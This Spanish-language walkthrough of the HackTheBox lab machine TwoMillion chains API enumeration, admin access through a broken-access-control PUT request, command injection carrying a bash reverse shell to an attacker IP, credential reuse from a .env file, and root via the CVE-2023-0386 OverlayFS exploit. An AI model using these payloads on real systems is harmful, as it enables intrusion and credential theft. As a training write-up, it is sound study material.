TwoMillion es una máquina Linux de dificultad fácil de HackTheBox, lanzada para celebrar los dos millones de miembros en la plataforma. Recrea la interfaz antigua de HTB e incluye una cadena de explotación que pasa por ingeniería inversa de JavaScript, broken access control en una API y una escalada mediante un exploit de kernel.
1. Reconocimiento inicial
Añadimos la máquina al /etc/hosts:
echo "10.10.11.221 2million.htb" >> /etc/hostsLanzamos el escaneo con Nmap:
sudo nmap -p- -sS -sCV --min-rate 5000 -n -Pn 2million.htb -oN scan| Puerto | Estado | Servicio | Versión |
|---|---|---|---|
| 22/tcp | open | ssh | OpenSSH 8.9p1 Ubuntu |
| 80/tcp | open | http | nginx |
Solo SSH y HTTP. Abrimos la web en el navegador.
2. Enumeración web: obtención del invite code
La web imita el antiguo portal de HackTheBox. Para registrarse hace falta un invite code. En el código fuente de la página /invite encontramos un script ofuscado:
eval(function(p,a,c,k,e,d){...})Copiamos la función al navegador y la ejecutamos para desofuscar. El resultado nos muestra que hay que llamar a un endpoint de la API:
curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate{"data":{"verifyMessage":"Va beorder gb trkg lbhe vaivgr pbqr, lbh arrq gb znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr"}}El mensaje está cifrado con ROT13. Lo desciframos:
In order to get your invite code, you need to make a POST request to /api/v1/invite/generateGeneramos el código:
curl -s -X POST http://2million.htb/api/v1/invite/generate{"data":{"code":"Tk1WS1gtWUhJQTctVE9TNjItUVBSSFo=","format":"encoded"}}Decodificamos el base64:
echo "Tk1WS1gtWUhJQTctVE9TNjItUVBSSFo=" | base64 -dNMVKX-YHIA7-TOS62-QPRHZNos registramos con este código y accedemos a la plataforma.
3. Escalada de privilegios en la API
Enumeramos los endpoints disponibles de la API:
curl -s http://2million.htb/api/v1 -b "PHPSESSID=<tu_cookie>"Entre los endpoints vemos uno interesante:
PUT /api/v1/admin/settings/updateIntentamos actualizar nuestra cuenta para convertirnos en admin:
curl -s -X PUT http://2million.htb/api/v1/admin/settings/update \
-H "Content-Type: application/json" \
-b "PHPSESSID=<tu_cookie>" \
-d '{"email":"tuuser@htb.local","is_admin":1}'{"id":13,"username":"carlos","is_admin":1}Somos admin. La API no valida si quien hace la petición tiene permisos para cambiarlo — broken access control clásico.
4. Ejecución remota de comandos (RCE)
Con permisos de admin tenemos acceso al endpoint de generación de VPN:
curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
-H "Content-Type: application/json" \
-b "PHPSESSID=<tu_cookie>" \
-d '{"username":"carlos"}'El parámetro username se pasa sin sanitizar a un comando del sistema. Probamos inyección de comandos:
curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
-H "Content-Type: application/json" \
-b "PHPSESSID=<tu_cookie>" \
-d '{"username":"carlos;id;"}'uid=33(www-data) gid=33(www-data) groups=33(www-data)Tenemos RCE. Nos ponemos en escucha y enviamos una reverse shell:
nc -lvnp 4444curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
-H "Content-Type: application/json" \
-b "PHPSESSID=<tu_cookie>" \
-d '{"username":"carlos;bash -c '\''bash -i >& /dev/tcp/10.10.14.X/4444 0>&1'\''"}'Recibimos la shell como www-data. La mejoramos:
python3 -c 'import pty;pty.spawn("/bin/bash")'5. Movimiento lateral a admin
En el directorio de la aplicación encontramos un archivo .env:
cat /var/www/html/.envDB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123Probamos esa contraseña para el usuario admin del sistema:
su adminFunciona. Ya somos admin y podemos leer la flag de usuario:
cat /home/admin/user.txt6. Escalada de privilegios: CVE-2023-0386
Comprobamos la versión del kernel:
uname -aLinux 2million 5.15.70-051570-generic #202209231016 SMP Fri Sep 23 10:16:57 UTC 2022 x86_64 x86_64 x86_64 GNU/LinuxEl kernel 5.15.70 es vulnerable a CVE-2023-0386, un fallo en el subsistema OverlayFS que permite escalar privilegios a root. Descargamos el PoC en nuestra máquina y lo transferimos:
# En nuestra máquina
git clone https://github.com/xkaneiki/CVE-2023-0386
cd CVE-2023-0386
make
python3 -m http.server 8000# En la máquina víctima
wget http://10.10.14.X:8000/CVE-2023-0386.tar -P /tmp
cd /tmp && tar -xf CVE-2023-0386.tarEjecutamos el exploit (requiere dos terminales):
# Terminal 1
./fuse ./ovlcap/lower ./gc# Terminal 2
./expuid=0(root) gid=0(root) groups=0(root)Somos root:
cat /root/root.txtResumen de técnicas utilizadas
- Desofuscación de JavaScript para descubrir endpoints de API
- Descifrado de ROT13 y base64 para obtener el invite code
- Broken access control en la API para escalar a administrador
- Command injection en el endpoint de generación de VPN
- Lectura de credenciales en archivo
.env - Escalada de privilegios con CVE-2023-0386 (OverlayFS privilege escalation)